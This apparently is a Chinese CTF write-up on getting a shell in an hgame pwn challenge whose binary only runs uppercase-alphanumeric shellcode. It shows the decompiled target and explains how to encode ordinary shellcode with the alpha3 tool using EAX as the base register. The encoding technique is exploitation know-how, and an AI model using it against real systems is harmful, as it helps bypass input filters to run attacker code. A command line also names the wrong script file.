0x00 背景
之前打杭電新生賽hgame的時(shí)候碰到一個題目, 題目會檢測用戶輸入的shellcode, 限制shellcoode只能是大寫字母和數(shù)字, 經(jīng)社團(tuán)大佬提醒得知對付這種問題用一個專門的工具: alpha3. 這篇文章就以這題為例來記錄一下alpha3的使用方法.
0x00 程序分析
用ida打開二進(jìn)制文件再反匯編得到main函數(shù)的偽代碼如下
int __cdecl main()
{
char buf; // [esp+Fh] [ebp-19h]
int i; // [esp+10h] [ebp-18h]
unsigned int sc; // [esp+14h] [ebp-14h]
ssize_t v4; // [esp+18h] [ebp-10h]
unsigned int canary; // [esp+1Ch] [ebp-Ch]
canary = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
sc = (unsigned int)malloc(0x1000u);
puts("========== ez shellcode ver2 ==========");
printf("> ");
for ( i = 0; i <= 4095; ++i )
{
v4 = read(0, &buf, 1u);
if ( v4 == -1 )
exit(0);
if ( (buf > 90 || buf <= 64) && (buf <= 47 || buf > 57) )
break;
*(_BYTE *)(sc + i) = buf;
}
if ( mprotect((void *)(sc & 0xFFFFF000), 0x1000u, 7) == -1 )
{
puts("error ,tell admin");
}
else
{
puts("exec shellcode...");
((void (*)(void))sc)();
}
return 0;
}
程序很簡單, 只要找到僅有大寫字母數(shù)字組成的shellcode(也叫做 alphanumeric shellcode)組成就可以成功pwn. 我們使用alpha3將普通的shellcode轉(zhuǎn)化成alphanumeric shellcode, 不過alpha3 實(shí)在難用, 而且網(wǎng)上教程非常少, 這也是我寫這個文章的主要原因.
破解過程
我們首先在github上面搜索 alpha3 找到代碼的倉庫, 然后下載到本地再build之后就可以使用了,過程十分麻煩...... 這兒就直接提供build之后的給大家下載(密碼mmdj). 然后我們先找一個普通的可以getshell的shellcode, 然后我們需要將對應(yīng)的機(jī)器碼寫入到一個文件中(例如sc.bin), 然后我們在cmd中cd到apha3的文件夾中執(zhí)行alpha3來得到alphanumeric shellcode, 在之前我們先執(zhí)行python ./ALPHA3.py看一下幫助:
[Usage]
ALPHA3.py [ encoder settings | I/O settings | flags ]
[Encoder setting]
architecture Which processor architecture to target (x86,
x64).
character encoding Which character encoding to use (ascii, cp437,
latin-1, utf-16).
casing Which character casing to use (uppercase,
mixedcase, lowercase).
base address How to determine the base address in the decoder
code (each encoder has its own set of valid
values).
[I/O Setting]
--input="file" Path to a file that contains the shellcode to be
encoded (Optional, default is to read input from
stdin).
--output="file" Path to a file that will receive the encoded
shellcode (Optional, default is to write output
to stdout).
[Flags]
--verbose Display verbose information while executing. Use
this flag twice to output progress during
encoding.
--help Display this message and quit.
--test Run all available tests for all encoders.
(Useful while developing/testing new encoders).
--int3 Trigger a breakpoint before executing the result
of a test. (Use in combination with --test).
[Notes]
You can provide encoder settings in combination with the --help and --test
switches to filter which encoders you get help information for and which
get tested, respectively.
Valid base address examples for each encoder, ordered by encoder settings,
are:
[x64 ascii mixedcase]
AscMix (r64) RAX RCX RDX RBX RSP RBP RSI RDI
[x86 ascii lowercase]
AscLow 0x30 (rm32) ECX EDX EBX
[x86 ascii mixedcase]
AscMix 0x30 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]
ECX+2 ESI+4 ESI+8
AscMix 0x30 (i32) (address)
AscMix Countslide (rm32) countslide:EAX+offset~uncertainty
countslide:EBX+offset~uncertainty
countslide:ECX+offset~uncertainty
countslide:EDX+offset~uncertainty
countslide:ESI+offset~uncertainty
countslide:EDI+offset~uncertainty
AscMix Countslide (i32) countslide:address~uncertainty
AscMix SEH GetPC (XPsp3) seh_getpc_xpsp3
[x86 ascii uppercase]
AscUpp 0x30 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI]
[x86 latin-1 mixedcase]
Latin1Mix CALL GetPC call
[x86 utf-16 uppercase]
UniUpper 0x10 (rm32) EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]
[EDX] [EBX] [ESP] [EBP] [ESI] [EDI]
我們這題是32位的, 所以architecture是X86; 因?yàn)閙ain函數(shù)中是按字節(jié)檢測的, 所以character encoding 選擇 ascii; 而且題目中要求的是大寫字母, 所以casing 自然就是upper. 但是最后的base address 是什么呢? 這個alpha會利用shellcode基址來重定位shellcode肢础，相當(dāng)于在shellcode運(yùn)行過程中重新組裝shellcode. 而查看ida中返回編的代碼可知調(diào)用shellcode的匯編指令是call eax 所以base 就是EAX 在結(jié)合我們之前得到的普通shellcode就可以用python ./PYTHON.py x86 ascii uppercase eax --input="sc.bin" > out.bin就可以在out.bin中得到一個 alphanumeric shellcode, 然后再用pwntools輸入這個alphanumeric shellcode 即可成功getshell !
總結(jié)
打這次hgame才知道pwn原來有這么多騷操作, 真的是太有意思了. 還是要多多學(xué)習(xí)呀.
